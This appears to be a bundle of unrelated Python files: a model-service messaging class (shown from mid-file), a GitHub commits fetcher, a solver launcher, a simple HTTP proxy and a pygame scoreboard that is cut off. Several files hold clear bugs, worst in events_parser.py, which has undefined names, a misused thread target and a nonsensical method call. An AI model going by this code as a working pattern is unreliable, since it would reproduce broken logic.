self.mRequestDataBody = dataRemained[posEnd + 1 : ]
def onResponseData(self):
self.mStatus = EModelContextStatus.EMCS_RESPONSE_BEGIN
if self.mResponseDataFlag == ERequestResponseDataFlag.ERDF_OK:
mime = ''
if self.mResponseDataMIME == ERequestResponseDataMIME.ERDM_XML_STREAM:
mime = '[XML|STREAM]'
elif self.mResponseDataMIME == ERequestResponseDataMIME.ERDM_ZIP_STREAM:
mime = '[ZIP|STREAM]'
elif self.mResponseDataMIME == ERequestResponseDataMIME.ERDM_RAW_STREAM:
mime = '[RAW|STREAM]'
elif self.mResponseDataMIME == ERequestResponseDataMIME.ERDM_XML_FILE:
mime = '[XML|FILE]'
elif self.mResponseDataMIME == ERequestResponseDataMIME.ERDM_ZIP_FILE:
mime = '[ZIP|FILE]'
elif self.mResponseDataMIME == ERequestResponseDataMIME.ERDM_RAW_FILE:
mime = '[RAW|FILE]'
else:
mime = '[UNKNOWN]'
self._sendMessage('{onResponseData}' + self.mInstanceID + '&' + self.mCurrentState + '&' + self.mCurrentEvent + '&' + str(len(self.mResponseDataBody)) + '[OK]' + mime + self.mResponseDataBody )
self.mStatus = EModelContextStatus.EMCS_RESPONSE
self._wait4Status(EModelContextStatus.EMCS_RESPONSE_END)
elif self.mResponseDataFlag == ERequestResponseDataFlag.ERDF_ERROR:
self._sendMessage('{onResponseData}' + self.mInstanceID + '&' + self.mCurrentState + '&' + self.mCurrentEvent + '&0[ERROR]' )
self.mStatus = EModelContextStatus.EMCS_RESPONSE
self._wait4Status(EModelContextStatus.EMCS_RESPONSE_END)
elif self.mResponseDataFlag == ERequestResponseDataFlag.ERDF_NOTREADY:
self._sendMessage('{onResponseData}' + self.mInstanceID + '&' + self.mCurrentState + '&' + self.mCurrentEvent + '&' + len(self.mResponseDataBody))
self.mStatus = EModelContextStatus.EMCS_RESPONSE
self._wait4Status(EModelContextStatus.EMCS_RESPONSE_END)
self._resetResponseDataInfo()
def onPostErrorInfo(self, errinfo):
self.mStatus = EModelContextStatus.EMCS_POST_BEGIN
self._sendMessage('{onPostErrorInfo}' + self.mInstanceID + '&' + errinfo)
self.mStatus = EModelContextStatus.EMCS_POST
self._wait4Status(EModelContextStatus.EMCS_POST_END)
def onPostWarningInfo(self, warninginfo):
self.mStatus = EModelContextStatus.EMCS_POST_BEGIN
self._sendMessage('{onPostMessageInfo}' + self.mInstanceID + '&' + warninginfo)
self.mStatus = EModelContextStatus.EMCS_POST
self._wait4Status(EModelContextStatus.EMCS_POST_END)
def onPostMessageInfo(self, messageinfo):
self.mStatus = EModelContextStatus.EMCS_POST_BEGIN
self._sendMessage('{onPostMessageInfo}' + self.mInstanceID + '&' + messageinfo)
self.mStatus = EModelContextStatus.EMCS_POST
self._wait4Status(EModelContextStatus.EMCS_POST_END)
def onLeaveState(self):
self.mStatus = EModelContextStatus.EMCS_STATE_LEAVE_BEGIN
self._sendMessage('{onLeaveState}' + self.mInstanceID + '&' + self.mCurrentState)
self.mStatus = EModelContextStatus.EMCS_STATE_LEAVE
self._wait4Status(EModelContextStatus.EMCS_STATE_LEAVE_END)
def onFinalize(self):
self.mStatus = EModelContextStatus.EMCS_FINALIZE_BEGIN
self._sendMessage('{onFinalize}' + self.mInstanceID)
self.mStatus = EModelContextStatus.EMCS_FINALIZE
self._wait4Status(EModelContextStatus.EMCS_FINALIZE_END)
# self.mMornitoringThread.join()
sys.exit()
def onGetModelAssembly(self, methodName):
self.mStatus = EModelContextStatus.EMCS_COMMON_BEGIN
self._sendMessage('{onGetModelAssembly}' + self.mInstanceID + '&' + methodName)
self.mStatus = EModelContextStatus.EMCS_COMMON_REQUEST
self._wait4Status(EModelContextStatus.EMCS_COMMON_END)
assembly = self.mData[0 : self.mData.index('}') + 1]
return assembly
def initControlParam(self):
self.mStatus = EModelContextStatus.EMCS_INIT_CTRLPARAM_BEGIN
self._sendMessage('{onInitControlParam}' + self.mInstanceID)
self.mStatus = EModelContextStatus.EMCS_INIT_CTRLPARAM
self._wait4Status(EModelContextStatus.EMCS_INIT_CTRLPARAM_END)
posEnd = self.mData.index('&')
controlParamBuffer = self.mData[posEnd + 1 : ]
try:
self.mControlParams = json.loads(controlParamBuffer)
except ZeroDivisionError as ex:
pass
#Data
def getRequestDataFlag(self):
return self.mRequestDataFlag
def getRequestDataMIME(self):
return self.mRequestDataMIME
def getRequestDataBody(self):
return self.mRequestDataBody
def setResponseDataFlag(self, flag):
self.mResponseDataFlag = flag
def setResponseDataMIME(self, MIME):
self.mResponseDataMIME = MIME
def setResponseDataBody(self, body):
self.mResponseDataBody = body
def getResponseDataFlag(self):
return self.mResponseDataFlag
def getResponseDataMIME(self):
return self.mResponseDataMIME
def getResponseDataDody(self):
return self.mResponseDataBody
def getCurrentStatus(self):
return self.mStatus
def getProcessParam(self, key):
return self.mProcessParams.get(key, None)
def setProcessParam(self, key, value):
self.mProcessParams[key] = value
self._sendProcessParam()
# Directory
def getCurrentDataDirectory(self):
instanceDir = self.getModelInstanceDirectory()
if os.path.exists(instanceDir) == False:
os.makedirs(instanceDir)
stateDir = instanceDir + self.getCurrentRunningState() + '/'
if os.path.exists(stateDir) == False:
os.makedirs(stateDir)
eventDir = stateDir + self.getCurrentRunningEvent() + '/'
if os.path.exists(eventDir) == False:
os.makedirs(eventDir)
return eventDir
def getMappingLibraryDirectory(self):
if self.mMappingLibDir[:-1] != '/':
self.mMappingLibDir = self.mMappingLibDir + '/'
return self.mMappingLibDir
def getModelInstanceDirectory(self):
if self.mInstanceDir[:-1] != '/':
self.mInstanceDir = self.mInstanceDir + '/'
return self.mInstanceDir
def getCurrentRunningState(self):
return self.mCurrentState
def getCurrentRunningEvent(self):
return self.mCurrentEvent
def getDataFileByExt(self, ext):
ext = ext.lower()
dire = self.getCurrentDataDirectory()
list_files = os.listdir(dire)
list_f = []
for filepath in list_files:
if ext == ModelServiceContext.getFileExtension(filepath).lower():
list_f.append(dire + filepath)
return list_f
def mapZipToCurrentDataDirectory(self, zipf):
z = zipfile.ZipFile(zipf, 'r')
dire = self.getCurrentDataDirectory()
z.extractall(path=dire)
z.close()
def mapFileToCurrentDataDirectory(self, file, file_name):
dire = os.path.join(self.getCurrentDataDirectory(),file_name)
copy(file, dire)
@staticmethod
def getFileExtension(path):
return os.path.splitext(path)[1][1:]
@staticmethod
def Monitoring_thread(ms):
while True:
data = ms._receiveMessage()
strCmds = data.split('\n')
for cmd in strCmds:
header = cmd[0 : cmd.index('}') + 1]
ms.mData = cmd[cmd.index('}') + 1 : ]
if header == '{Initialized}':
ms.mStatus = EModelContextStatus.EMCS_INIT_END
elif header == '{Enter State Notified}':
ms.mStatus = EModelContextStatus.EMCS_STATE_ENTER_END
elif header == '{Fire Event Notified}':
ms.mStatus = EModelContextStatus.EMCS_EVENT_END
elif header == '{Request Data Notified}':
ms.mStatus = EModelContextStatus.EMCS_REQUEST_END
elif header == '{Response Data Notified}':
ms.mStatus = EModelContextStatus.EMCS_RESPONSE_END
elif header == '{Response Data Received}':
ms.mStatus = EModelContextStatus.EMCS_RESPONSE_END
elif header == '{Post Error Info Notified}':
ms.mStatus = EModelContextStatus.EMCS_POST_END
elif header == '{Post Warning Info Notified}':
ms.mStatus = EModelContextStatus.EMCS_POST_END
elif header == '{Post Message Info Notified}':
ms.mStatus = EModelContextStatus.EMCS_POST_END
elif header == '{Leave State Notified}':
ms.mStatus = EModelContextStatus.EMCS_STATE_LEAVE_END
elif header == '{Finalize Notified}':
ms.mStatus = EModelContextStatus.EMCS_FINALIZE_END
return
elif header == '{GetModelAssembly Notified}':
ms.mStatus = EModelContextStatus.EMCS_COMMON_END
elif header == '{SetControlParams Notified}':
#TODO Control Parameter
pass
elif header == '{kill}':
return sys.exit()
else :
print('Unknown Command!')
pass
|
events_parser.py | import json
from Queue import *
import threading
import time
import requests
repo = 'https://api.github.com/repos/SleeplessByte/programming-life/'
print "hello"
def getComs(sha):
while True:
item = q.get()
comsurl = repo + 'commits?sha=' + sha +'&per_page=50'
payload = {'some': 'data'}
headers = {'content-type': 'application/json'}
coms = requests.get(comsurl, data=json.dumps(payload), headers=headers)
json.dump(coms, f)
commits.append(coms)
json_data.ClothoBiofabEditionse()
q.task_done()
print "hi again"
branchurl = repo + 'branches'
print "got the url"
print branchurl
r = requests.get(branchurl)
branches = r.json()
f = open('commits_plife', 'w')
print len(branches)
q = Queue()
commits = [];
for branch in branches:
t = threading.Thread(target=getComs(branch["commit"]["sha"]))
t.daemon = True
t.start()
print "t: ", target
for item in source():
print item
q.put(item)
q.join()
f.close()
print commits
|
main.py | from multiprocessing import Process
from solver import solverbucket, solver, analysis
if __name__ == '__main__':
tasks = [
'a_example',
'b_little_bit_of_everything',
'c_many_ingredients',
'd_many_pizzas',
'e_many_teams'
]
anal = False
sol = True
solbuc = False
# Analysis
if anal:
for task in tasks:
process = Process(target=analysis, args=([task]))
process.start()
# Solver
if sol:
for task in tasks:
process = Process(target=solver, args=([task]))
process.start()
# Solver
if solbuc:
for task in tasks:
process = Process(target=solverbucket, args=([task]))
process.start()
|
proxy.py | import socket
from threading import Thread
from argparse import ArgumentParser
# try to import C parser then fallback in pure python parser.
try:
from http_parser.parser import HttpParser
except ImportError:
from http_parser.pyparser import HttpParser
class HttpProxy:
BUFFER_SIZE = 8192
def __init__(self, host="0.0.0.0", port=3000, max_clients=128):
self.host = host
self.port = port
self.max_clients = max_clients
def run(self):
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.bind((self.host, self.port))
client_socket.listen(self.max_clients)
print(f"Proxy running - {self.host}:{self.port}")
while True:
source, addr = client_socket.accept()
print(f"Accept from {addr[0]}:{addr[1]}")
Thread(target=self.handle_request, args=(source,)).start()
def handle_request(self, source):
data = self.recv_all(source)
# data = source.recv(self.buffer_size)
if not data:
source.close()
return
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
p = HttpParser()
p.execute(data, len(data))
headers = p.get_headers()
if ':' in headers['Host']:
host, port = headers['Host'].split(':')
else:
host = headers['Host']
port = 80
port = int(port)
if p.get_method() == 'CONNECT':
self.https_tunnel(host, port, source, server)
else:
# connect to dest
try:
server.connect((host, port))
except:
print(f"Could not connect to {host}:{port}")
server.close()
source.close()
return
# send data to dest
server.sendall(data)
# accumulate response from dest
response = self.recv_all(server)
# send response to src
source.sendall(response)
server.close()
source.close()
def https_tunnel(self, host, port, source, server):
try:
server.connect((host, port))
reply = ("HTTP/1.1 200 Connection established\r\n"
"ProxyServer-agent: MyProxy\r\n\r\n")
source.sendall(reply.encode())
except socket.error as err:
print(f"Could not establish https tunnel with {host}:{port}. {err}")
server.close()
source.close()
return
source.setblocking(False)
server.setblocking(False)
while True:
# from source to dest
try:
data = source.recv(self.BUFFER_SIZE)
if not data:
server.close()
source.close()
break
server.sendall(data)
except socket.error:
pass
# from dest to source
try:
reply = server.recv(self.BUFFER_SIZE)
if not reply:
server.close()
source.close()
break
source.sendall(reply)
except socket.error:
pass
def recv_all(self, sock):
data = sock.recv(self.BUFFER_SIZE)
p = HttpParser()
p.execute(data, len(data))
response_headers = p.get_headers()
if p.is_chunked():
# chunked transfer encoding
while not data.endswith(b'0\r\n\r\n'):
chunk = sock.recv(self.BUFFER_SIZE)
data += chunk
elif 'Content-Length' in response_headers:
while len(data) < int(response_headers['Content-Length']):
data += sock.recv(self.BUFFER_SIZE)
return data
if __name__ == "__main__":
parser = ArgumentParser()
parser.add_argument(
"-host",
"--hostname",
help="Hostname to bind to",
dest="h",
type=str,
default="0.0.0.0"
)
parser.add_argument(
"-p"
"--port",
help="Port to bind to",
dest="p",
type=int,
default=3000
)
parser.add_argument(
"-c"
"--max-clients",
help="Maximum number of clients",
dest="c",
type=int,
default=128
)
args = parser.parse_args()
HttpProxy(args.h, args.p, args.c).run() |
scoreboard.py | # init
import os
import json
import random
import config
if __name__ == '__main__':
import pygame
import button
import switch
import tkinter
import hyperlink
import text_field
import fancy_blit
import dropdown_list
import event_handler
import multiprocessing
from tkinter import filedialog
multiprocessing.set_start_method('spawn')
global_config = config.config({}, 'config_global.json') # load the config file
global_config.load('config_global.json')
global_config.get('voice', True)
global_config.get('victories', True)
global_config.get('progress', True)
global_config.get('blink_time', 5) # for each setting we need, check if it's there and if it's not, set it to default value
global_config.get('max_fps', 60)
global_config.get('lang', 'en') # this is the only reason i moved this here
global_config.get('image_scale', 1)
lang_type = global_config.get('lang')
scale = global_config.get('image_scale')
try:
with open(f'assets/lang/{lang_type}.json', 'r', -1, 'utf-8') as lang_file:
lang = json.load(lang_file)
except:
try:
print(f'File error: language file "assets/lang/{lang_type}.json" not found, gotta use English')
with open('assets/lang/en.json', 'r', -1, 'utf-8') as lang_file:
lang = json.load(lang_file)
lang_type = 'en'
global_config.set('lang', 'en')
except:
print('File error: ENGLISH LANGUAGE FILE (assets/lang/en.json) NOT FOUND')
input('Cannot start the program, press Enter to exit...')
exit(-1)
try:
import gtts
except ModuleNotFoundError:
print(lang['err_lib_not_installed'].format(lib='gtts'))
allow_tts = False
else:
allow_tts = True
try:
import playsound
except ModuleNotFoundError:
print(lang['err_lib_not_installed'].format(lib='playsound'))
allow_tts = False
else:
allow_tts = True
# speak code in case this isn't the main process
def speak(my_text, lang):
rand = random.randint(-2147483648, 2147483647)
gtts.gTTS(text=my_text, lang=lang).save(f'temp{rand}.mp3')
playsound.playsound(f'temp{rand}.mp3', True)
os.remove(f'temp{rand}.mp3')
if __name__ != '__main__':
with open('temp.txt', 'r') as file:
to_speak = file.read()
try:
os.remove('temp.txt')
except:
pass
rand_num = speak(to_speak, lang['google_lang_code'])
exit()
useless = tkinter.Tk()
useless.withdraw()
pygame.init()
pygame.mixer.init()
gametick = pygame.time.Clock()
game_events = event_handler.EventHandler()
game_events.add_event(False, 'show_blinker', 15)
icon = pygame.image.load("assets/window.png")
pygame.display.set_icon(icon)
final_window = pygame.display.set_mode((int(1280 * scale), int(720 * scale)))
window = pygame.Surface((1280, 720))
def upd_win_caption(): # otherwise i will forget to change the value in settings
pygame.display.set_caption(f"{lang['program_name']} (v. 1.0 release candidate 8)")
upd_win_caption()
game_version = "v. 1.0-rc8"
font_28 = pygame.font.Font('assets/denhome.otf', 28)
font_40 = pygame.font.Font('assets/denhome.otf', 40)
font_50 = pygame.font.Font('assets/denhome.otf', 50)
font_60 = pygame.font.Font('assets/denhome.otf', 60)
font_72 = pygame.font.Font('assets/denhome.otf', 72)
font_96 = pygame.font.Font('assets/denhome.otf', 96)
font_cmd = pygame.font.Font('assets/dhbold.ttf', 48)
font_info = pygame.font.Font('assets/arial.ttf', 32)
font_log = pygame.font.Font('assets/arialb.ttf', 20)
font_data = pygame.font.Font('assets/arial.ttf', 28)
font_msg = pygame.font.Font('assets/dhbold.ttf', 40)
current_ui = "menu"
color_bg = (0, 255, 255)
color_board_outline = (0, 204, 204)
color_board_bg = (0, 102, 102)
color_red = (255, 0, 0)
color_green = (44, 242, 0)
color_info_bg = (255, 140, 26)
color_info_outline = (195, 204, 217)
color_log_index = (87, 94, 117)
color_log_background = (252, 102, 44)
color_log_outline = (223, 91, 38)
color_log_fill = (229, 240, 255)
game_config = {}
font_score = {'-': pygame.image.load('assets/hyphen.png').convert_alpha(),
'.': pygame.image.load('assets/dot.png').convert_alpha(),
'0': pygame.image.load('assets/number_0.png').convert_alpha(),
'1': pygame.image.load('assets/number_1.png').convert_alpha(),
'2': pygame.image.load('assets/number_2.png').convert_alpha(),
'3': pygame.image.load('assets/number_3.png').convert_alpha(),
'4': pygame.image.load('assets/number_4.png').convert_alpha(),
'5': pygame.image.load('assets/number_5.png').convert_alpha(),
'6': pygame.image.load('assets/number_6.png').convert_alpha(),
'7': pygame.image.load('assets/number_7.png').convert_alpha(),
'8': pygame.image.load('assets/number_8.png').convert_alpha(),
'9': pygame.image.load('assets/number_9.png').convert_alpha()}
font_offsets = {'-': 7,
'.': -55,
'0': 72,
'1': 78,
'2': 71,
'3': 77,
'4': 74,
'5': 79,
'6': 71,
'7': 71,
'8': 76,
'9': 75}
font_player_number = {'-': pygame.transform.rotozoom(font_score['-'], 0, 0.5),
'.': pygame.transform.rotozoom(font_score['.'], 0, 0.5),
'0': pygame.transform.rotozoom(font_score['0'], 0, 0.5),
'1': pygame.transform.rotozoom(font_score['1'], 0, 0.5),
'2': pygame.transform.rotozoom(font_score['2'], 0, 0.5),
'3': pygame.transform.rotozoom(font_score['3'], 0, 0.5),
'4': pygame.transform.rotozoom(font_score['4'], 0, 0.5),
'5': pygame.transform.rotozoom(font_score['5'], 0, 0.5),
'6': pygame.transform.rotozoom(font_score['6'], 0, 0.5),
'7': pygame.transform.rotozoom(font_score['7'], 0, 0.5),
'8': pygame.transform.rotozoom(font_score['8'], 0, 0.5),
'9': pygame.transform.rotozoom(font_score['9'], 0, 0.5)}
# predefine variables to use in definitions safely
def predefine_variables():
global game_name
global players
global max_page
global scores
global visible_scores
global victories
global goals
global names
global score_limit
global log
global field_colors
global blink_time
global voice
global show_victories
global show_progress
global inverted_victory_mode
global max_fps
global is_game_running
global error_messages
global game_conf_file
global player_page
global command
global log_cursor
global was_pressed
global was_pressed_esc
global is_updating
global message
global command_help
game_name = '' ## there used to be '<insert a meme here>' here ## i have not achieved comedy
players = 2 # i can not put anything here, because in the end, it does matter and it doesn't get overwritten as soon as you start the game
max_page = 0
scores = [0, 0]
visible_scores = [0, 0]
victories = [0, 0]
goals = ['2147483647', '2147483647']
names = ['Player', 'Player']
score_limit = 125
log = []
field_colors = [0, 0]
blink_time = global_config.get('blink_time')
voice = global_config.get('voice')
show_victories = global_config.get('victories')
show_progress = global_config.get('progress')
inverted_victory_mode = False # if true, the player with the highest score wins
max_fps = global_config.get('max_fps')
is_game_running = False
error_messages = []
game_conf_file = ''
player_page = 0
command = ''
log_cursor = 0
was_pressed = False
was_pressed_esc = False
is_updating = False
message = lang['enter_command']
try:
with open(f'assets/command_help_{lang_type}.txt', 'r', -1, 'utf-8') as help_file:
command_help = help_file.read()
except:
print(lang['err_no_translated_help'].format(lang=lang_type))
try:
with open('assets/command_help_en.txt', 'r', -1, 'utf-8') as help_file:
command_help = help_file.read()
except:
command_help = lang['no_help']
print(lang['err_no_help'])
predefine_variables()
available_lang_ids = os.listdir('assets/lang')
available_langs = []
available_lang_names = []
for i in range(len(available_lang_ids)):
available_lang_ids[i] = available_lang_ids[i][:-5]
with open(f'assets/lang/{available_lang_ids[i]}.json', 'r', -1, 'utf-8') as file:
available_langs.append(json.load(file))
available_lang_names.append(available_langs[i]['lang_name'])
# utility functions
def draw_rect(x1, y1, x2, y2, fill_color = (0, 204, 204), outline=3, outline_color = (0, 0, 0), surface=pygame.display.get_surface()):
'''A utility function that draws a rectangle with just one line'''
if x1 > x2 or y1 > y2:
raise ValueError("first set of coordinates must represent top left corner")
dx = x2 - x1
dy = y2 - y1
pygame.draw.rect(surface, fill_color, (x1, y1, dx, dy))
pygame.draw.rect(surface, outline_color, (x1, y1, dx, dy), outline)
def blit(text, font, pos, center=False, color=(0, 0, 0), surface=pygame.display.get_surface()):
'''Blits some text to a chosen surface with only one line instead of two'''
j = font.render(text, 1, color)
if center is True:
pos = (pos[0]-j.get_width() / 2, pos[1])
elif center == 'back':
pos = (pos[0]-j.get_width(), pos[1])
surface.blit(j, pos)
def draw_text_box(text, font, pos, surface, min_width=100, centered=True, box_color=color_info_bg, box_outline_color=color_info_outline, text_color=(255, 255, 255)):
text = str(text) # this function draws a text box that looks like a Scratch variable (no input available)
rendered_text = font.render(text, 1, text_color, box_color)
text_area= font.size(text)
box_width = max(min_width - 10, text_area[0]) + 14
pygame.draw.rect(surface, box_color, (pos[0], pos[1], box_width, 50), 0, 8)
pygame.draw.rect(surface, box_outline_color, (pos[0], pos[1], box_width, 50), 3, 8)
if centered:
surface.blit(rendered_text, (pos[0] + box_width / 2 - text_area[0] / 2, pos[1] + 25 - text_area[1] / 2))
else:
surface.blit(rendered_text, (pos[0] + 10, pos[1] + 25 - text_area[1] / 2))
def narrate(text):
if allow_tts and voice:
with open('temp.txt', 'w') as file:
file.write(text)
p = multiprocessing.Process(target=speak)
p.start()
# blink control functions
#def blink_half_second_multiple(player, color, count): # makes a player's field to change color for half a second
# for i in range(count):
# global field_colors
# field_colors[player] = color
# sleep(0.5)
# field_colors[player] = 0
# sleep(0.5) ## will be replaced
class menu:
def __init__(self):
self.surface = window
self.btn_new_file = button.Button(color_board_outline, 490, 250, 300, 75, self.surface, lang['btn_new_file'])
self.btn_import = button.Button(color_board_outline, 490, 335, 300, 75, self.surface, lang['btn_open'])
self.btn_settings = button.Button(color_board_outline, 490, 420, 300, 75, self.surface, lang['btn_settings'])
self.btn_continue = button.Button(color_board_outline, 490, 195, 300, 75, self.surface, lang['btn_continue'])
def draw(self):
global log
global goals
global names
global scores
global players
global max_page
global victories
global game_name
global current_ui
global log_cursor
global score_limit
global field_colors
global show_progress
global show_victories
global game_conf_file
global visible_scores
global is_game_running
global inverted_victory_mode
self.surface.fill(color_bg)
if is_game_running:
self.btn_new_file.y = 280
self.btn_import.y = 365
self.btn_settings.y = 450
if self.btn_continue.smart_draw(72, bkp_pos) and pygame.event.get(pygame.MOUSEBUTTONDOWN):
current_ui = 'game'
else:
self.btn_new_file.y = 250
self.btn_import.y = 335
self.btn_settings.y = 420
if self.btn_import.smart_draw(72, bkp_pos) and pygame.event.get(pygame.MOUSEBUTTONDOWN):
game_conf_file = filedialog.askopenfilename(title='Load game', filetypes=[('Game file', '*.json'), ('All files', '*.*')])
try:
with open(game_conf_file, 'r', -1, 'utf-8') as file:
game_config = json.load(file)
except:
game_conf_file = ''
return
try:
game_name = game_config['game_name']
except KeyError:
game_name = lang['no_game_name']
try:
log = game_config['log']
log_cursor = max(0, len(log) - 10)
except KeyError:
log = []
try:
goals = game_config['goals']
names = game_config['names']
scores = game_config['scores']
players = game_config['players']
victories = game_config['victories']
score_limit = game_config['score_limit']
inverted_victory_mode = game_config['limit_mode']
except KeyError:
print(lang['err_cannot_load_game'])
return
if players % 3:
max_page = players // 3
else:
max_page = players // 3 - 1
field_colors = [0] * players
visible_scores = scores.copy()
is_game_running = True
current_ui = 'game'
if self.btn_settings.smart_draw(72, bkp_pos) and pygame.event.get(pygame.MOUSEBUTTONDOWN):
ui_settings.blink_time.text = str(blink_time)
ui_settings.game_name.text = game_name
ui_settings.score_lim.text = str(score_limit)
current_ui = 'settings'
if self.btn_new_file.smart_draw(72, bkp_pos) and pygame.event.get(pygame.MOUSEBUTTONDOWN):
predefine_variables() # we don't want to reload the previous game
ui_game.__init__() # that is needed too
current_ui = 'setup'
blit(game_version, font_40, (10, 680), surface=self.surface)
class settings:
def __init__(self):
self.surface = window
# global settings
if allow_tts:
self.voice_enabled = switch.Switch(1180, 100, self.surface) ## note: a switch is 86x36 pixels
else:
self.voice_enabled = switch.Switch(1180, 100, self.surface, (102, 204, 204), outline_color=(127, 127, 127), disable_color=(206, 206, 206))
self.show_victories = switch.Switch(1180, 150, self.surface)
self.show_goal_progress = switch.Switch(1180, 200, self.surface)
self.blink_time = text_field.TextField(1070, 250, 200, 45, blink_time, font_50, self.surface, 'int')
self.language = dropdown_list.DropdownList(available_lang_names, available_lang_ids.index(lang_type), (1270, 300), font_50, self.surface, 200,
False, 6, color_board_outline, (0, 232, 232), color_scroll=(0, 63, 63),
color_hover_base=(0, 240, 240), color_hover_origin=color_bg,
color_hover_scroll=(0, 0, 0))
self.scale = text_field.TextField(1070, 355, 200, 45, str(scale), font_50, self.surface, 'float')
self.fps = text_field.TextField(1070, 405, 200, 45, str(max_fps), font_50, self.surface, 'int')
# game settings
self.game_name = text_field.TextField(1070, 480, 200, 45, game_name, font_50, self.surface)
self.score_lim = text_field.TextField(1070, 530, 200, 45, score_limit, font_50, self.surface, 'int')
self.score_mode = switch.Switch(1180, 580, self.surface)
self.filename = button.Button(color_board_outline, 1120, 630, 150, 40, self.surface, lang['btn_change_file'])
self.goto_player_name = button.Button(color_board_outline, 20, 680, 150, 35, self.surface, lang['btn_edit_player_names'], font_40)
self.go_menu = button.Button(color_board_outline, 175, 680, 150, 35, self.surface, lang['btn_menu'], font_40)
# player names
self.player_names = []
for i in range(18):
self.player_names.append(text_field.TextField(20+415*(i%3) + 175, (i//3) * 100 + 100, 220, 50, '', font_50, self.surface))
# utility stuff
self.go_back = hyperlink.Hyperlink((0, 0, 0), 10, 0, lang['link_back'])
## note: everything in self is not the settings, but the tool used to change them
def draw_global(self):
global current_ui
global voice
global show_victories
global show_progress
global blink_time
global lang_type
global lang
global was_pressed_esc
global message
global command_help
global scale
global final_window
global max_fps
if not was_pressed_esc and pygame.key.get_pressed()[pygame.K_ESCAPE]:
was_pressed_esc = True
is_clicked = True
elif was_pressed_esc and pygame.key.get_pressed()[pygame.K_ESCAPE]:
was_pressed_esc = True
is_clicked = False
else:
was_pressed_esc = False
is_clicked = False
self.surface.fill(color_bg)
if self.go_back.smart_draw(self.surface, bkp_pos=bkp_pos) or is_clicked:
if current_ui == 'settings':
current_ui = 'menu'
else:
current_ui = 'game'
global_config.save()
if is_game_running and game_conf_file:
game_config['log'] = log
game_config['goals'] = goals
game_config['names'] = names
game_config['scores'] = scores
game_config['players'] = players
game_config['victories'] = victories
game_config['game_name'] = game_name
game_config['score_limit'] = score_limit
game_config['limit_mode'] = inverted_victory_mode
with open(game_conf_file, 'w', -1, 'utf-8') as file:
file.write(json.dumps(game_config, indent=4, ensure_ascii=False))
blit(lang['global_settings'], font_40, (20, 50), False, (100, 100, 100), self.surface)
if allow_tts:
blit(lang['narrator'], font_72, (20, 80), surface=self.surface)
else:
blit(lang['narrator'], font_72, (20, 80), False, (127, 127, 127), self.surface)
blit(lang['show_player_victories'], font_72, (20, 130), surface=self.surface)
blit(lang['show_goal_progress'], font_72, (20, 180), surface=self.surface)
blit(lang['blink_time'], font_72, (20, 230), surface=self.surface)
blit(lang['language'], font_72, (20, 280), surface=self.surface)
blit(lang['image_scale'], font_72, (20, 335), surface=self.surface)
blit(lang['framerate'], font_72, (20, 385), surface=self.surface)
if allow_tts:
if self.voice_enabled.smart_draw(global_config.get('voice'), bkp_pos=bkp_pos):
voice = not voice
global_config.set('voice', voice)
else:
self.voice_enabled.draw(False, (0, 0))
if self.show_victories.smart_draw(global_config.get('victories'), bkp_pos=bkp_pos):
show_victories = not show_victories
global_config.set('victories', show_victories)
if self.show_goal_progress.smart_draw(global_config.get('progress'), bkp_pos=bkp_pos):
show_progress = not show_progress
global_config.set('progress', show_progress)
temp_blink_time = self.blink_time.draw(bkp_pos=bkp_pos)
if temp_blink_time is not False:
if temp_blink_time >= 0:
blink_time = temp_blink_time
global_config.set('blink_time', temp_blink_time)
else:
blink_time = 0
self.blink_time.text = '0'
global_config.set('blink_time', 0)
if is_game_running:
self._draw_game()
temp = self.scale.draw(bkp_pos=bkp_pos)
if temp is not False:
if temp < 0.25:
temp = 0.25
self.scale.text = '0.25'
scale = temp
final_window = pygame.display.set_mode((int(1280 * scale), int(720 * scale)))
global_config.set('image_scale', scale)
temp = self.fps.draw(bkp_pos=bkp_pos)
if temp is not False:
if temp > 5:
max_fps = temp
else:
max_fps = 5 # anything below 5 fps is pretty much unusable
self.fps.text = '5'
global_config.set('max_fps', max_fps)
temp = self.language.update(bkp_pos=bkp_pos)
if temp is not None:
lang_type = available_lang_ids[temp]
lang = available_langs[temp]
self.__init__()
ui_menu.__init__()
ui_game.__init__() # we need to update all the buttons since they are defined once in __init__ and don't update immediately
global_config.set('lang', lang_type)
upd_win_caption()
message = lang['enter_command']
try:
with open(f'assets/command_help_{lang_type}.txt', 'r', -1, 'utf-8') as help_file:
command_help = help_file.read()
except:
print(lang['err_no_translated_help'].format(lang=lang_type))
try:
with open('assets/command_help_en.txt', 'r', -1, 'utf-8') as help_file:
command_help = help_file.read()
except:
command_help = lang['no_help']
print(lang['err_no_help'])
def _draw_game(self):
global current_ui
global game_name
global score_limit
global game_conf_file
global inverted_victory_mode
global is_game_running
blit(lang['game_settings'], font_40, (20, 435), False, (100, 100, 100), surface=self.surface)
blit(lang['game_name'], font_72, (20, 460), surface=self.surface)
blit(lang['score_limit'], font_72, (20, 510), surface=self.surface)
blit(lang['victory_mode'], font_72, (20, 560), surface=self.surface)
blit(lang['save_file'], font_72, (20, 610), surface=self.surface)
blit(lang['game_will_be_saved'], font_40, (330, 680), False, (85, 85, 85), surface=self.surface)
blit(game_conf_file, font_50, (1115, 625), 'back', surface=self.surface)
if self.goto_player_name.smart_draw(66, bkp_pos=bkp_pos):
for i in range(players):
self.player_names[i].text = names[i]
if current_ui == 'pause':
current_ui = 'player_edit'
if self.go_menu.smart_draw(66, bkp_pos=bkp_pos):
if game_conf_file:
game_config['log'] = log
game_config['goals'] = goals
game_config['names'] = names
game_config['scores'] = scores
game_config['players'] = players
game_config['victories'] = victories
game_config['game_name'] = game_name
game_config['score_limit'] = score_limit
game_config['limit_mode'] = inverted_victory_mode
with open(game_conf_file, 'w') as config_file:
config_file.write(json.dumps(game_config, indent=4, ensure_ascii=True))
current_ui = 'menu'
temp = self.game_name.draw(bkp_pos=bkp_pos)
if temp is not False:
game_name = temp
temp = self.score_lim.draw(bkp_pos=bkp_pos)
if temp is not False:
if temp > 0:
score_limit = temp
else:
score_limit = 1
self.score_lim.text = '1'
if self.score_mode.smart_draw(inverted_victory_mode, bkp_pos=bkp_pos):
inverted_victory_mode = not inverted_victory_mode
if self.filename.smart_draw(bkp_pos=bkp_pos):
temp = filedialog.asksaveasfilename(defaultextension = '.json', filetypes = [('JSON files', '*.json'), ('All files', '*.*')], title = 'Save game data')
if temp:
game_conf_file = temp
def draw_player_list(self):
global current_ui
global was_pressed_esc
if not was_pressed_esc and pygame.key.get_pressed()[pygame.K_ESCAPE]:
